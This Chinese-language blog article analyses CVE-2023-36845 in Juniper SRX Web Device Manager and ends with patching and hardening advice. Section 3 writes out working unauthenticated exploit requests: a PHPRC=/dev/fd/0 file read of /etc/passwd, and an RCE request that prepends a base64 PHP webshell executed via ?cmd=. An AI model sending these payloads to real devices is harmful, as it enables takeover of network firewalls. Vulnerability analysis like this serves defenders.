从PHP配置劫持到RCE:深入分析CVE-2023-36845在Juniper Web Device Manager中的利用链
CVE-2023-36845:Juniper设备中的PHP配置劫持与RCE利用链深度解析
当网络设备厂商的Web管理界面成为攻击入口,其后果往往比普通Web应用漏洞更为严重。2023年曝光的CVE-2023-36845漏洞正是这样一个典型案例,它影响了Juniper Networks的SRX系列防火墙设备,通过精心构造的PHP配置参数,攻击者能够实现从任意文件读取到远程代码执行(RCE)的完整攻击链。本文将深入剖析这一漏洞的技术原理、利用方式以及背后反映的安全设计缺陷。
1. 漏洞背景与影响范围
Juniper Networks的SRX系列防火墙设备内置了名为"Web Device Manager"的Web管理界面,该界面基于PHP开发。在默认配置下,这些设备存在一个关键的安全缺陷:攻击者可以通过HTTP请求直接干预PHP的运行时配置。
受影响的具体型号包括:
- SRX300系列
- SRX320系列
- SRX340系列
- SRX345系列
- SRX380系列
- SRX550M系列
漏洞的核心在于PHP的两个配置参数:
PHPRC:用于指定PHP配置文件的位置auto_prepend_file:指定在执行任何PHP脚本前自动包含的文件
攻击者可以通过精心构造的HTTP请求操纵这些参数,最终实现远程代码执行。这种攻击方式不需要任何身份验证,使得漏洞的危险等级被评定为"高危"。
2. PHP配置机制与漏洞原理
要理解这个漏洞,我们需要先了解PHP的几个关键配置机制:
2.1 PHP的配置文件加载机制
PHP在启动时会按照特定顺序查找和加载配置文件(php.ini),这个顺序包括:
- 通过
PHPRC环境变量指定的路径 - 预定义的多个默认位置
- 当前工作目录
在Web环境中, PHPRC 可以通过环境变量或CGI参数传递。Juniper设备的Web界面未能正确过滤这一参数,导致攻击者可以指定任意的配置文件位置。
2.2 auto_prepend_file的作用
auto_prepend_file 是PHP的一个特殊指令,它指定一个文件路径,PHP会在执行任何脚本前自动包含该文件。这个功能本意是方便开发者实现统一的初始化逻辑,但在此漏洞中被滥用来包含攻击者控制的恶意文件。
2.3 allow_url_include的危险性
另一个关键配置是 allow_url_include ,当这个选项开启时,PHP的包含函数(如include、require)可以加载远程URL的内容。结合 auto_prepend_file ,攻击者可以实现远程代码执行。
3. 漏洞利用链的详细分析
攻击者利用这个漏洞通常分为两个阶段:信息收集和远程代码执行。
3.1 任意文件读取阶段
攻击者首先通过操纵 PHPRC 参数指向一个可控的位置,然后设置 auto_prepend_file 指向系统敏感文件。一个典型的攻击请求如下:
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: target_ip
Content-Length: 33
auto_prepend_file="/etc/passwd"
这个请求的工作原理:
PHPRC=/dev/fd/0告诉PHP从标准输入读取配置- POST body中的
auto_prepend_file="/etc/passwd"成为临时配置文件内容 - PHP执行时会先包含
/etc/passwd文件,将其内容输出
通过这种方式,攻击者可以读取设备上的任意文件,收集系统信息为进一步攻击做准备。
3.2 远程代码执行阶段
获取足够信息后,攻击者可以升级到RCE。这需要两个关键配置:
- 开启
allow_url_include - 通过
auto_prepend_file包含远程恶意代码
典型攻击请求:
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: target_ip
Content-Length: 92
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
这段base64解码后是``,是一个简单的PHP webshell。攻击者现在可以通过URL参数执行任意命令:
http://target_ip/?cmd=id
4. 漏洞背后的安全设计缺陷
CVE-2023-36845反映出的不仅是单个配置问题,而是多层安全设计缺陷:
-
过度信任客户端输入 :Web界面直接使用客户端提供的参数影响PHP配置,没有进行任何过滤或验证。
-
危险配置默认开启 :
allow_url_include这样的高危选项在默认配置中启用,为攻击者提供了便利。 -
缺乏深度防御 :没有实施权限最小化原则,Web服务进程通常以高权限运行,加剧了漏洞影响。
-
配置固化不足 :关键PHP配置应该在生产环境中锁定,防止运行时修改。
5. 防御建议与缓解措施
对于仍在使用受影响Juniper设备的组织,建议采取以下措施:
-
立即应用补丁 :Juniper已发布安全更新,应尽快升级到修复版本。
-
网络层防护 :
- 限制对Web管理界面的访问,只允许可信IP连接
- 在网络边界部署WAF,拦截特征明显的攻击请求
-
系统加固 :
- 禁用不必要的PHP功能(如allow_url_include)
- 使用PHP的open_basedir限制文件访问范围
- 降低Web服务进程的权限
-
监控与检测 :
- 监控异常的文件读取行为
- 记录和分析Web请求日志,寻找攻击特征
对于安全研究人员,这个案例再次提醒我们:网络设备的Web界面是一个需要特别关注的安全边界,其安全设计应该比普通Web应用更为严格。
更多推荐
所有评论(0)